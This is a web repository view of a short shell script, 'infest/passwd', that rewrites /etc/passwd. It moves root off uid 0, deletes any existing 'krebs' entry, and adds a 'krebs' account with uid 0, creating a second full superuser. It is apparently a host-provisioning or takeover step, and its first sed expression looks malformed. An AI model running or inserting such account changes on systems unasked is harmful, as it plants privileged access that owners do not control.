summaryrefslogtreecommitdiffstats
path: root/infest/passwd
blob: d8636b08cd4863fa2fc3ba68be37424ed9c1da67 (plain)
1
2
3
4
5
6
7
8
9
#! /bin/sh

f=/etc/passwd

sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f
sed -ri '/^krebs/d' $f

echo 'krebs:x:0:0:/root:/bin/bash' >>$f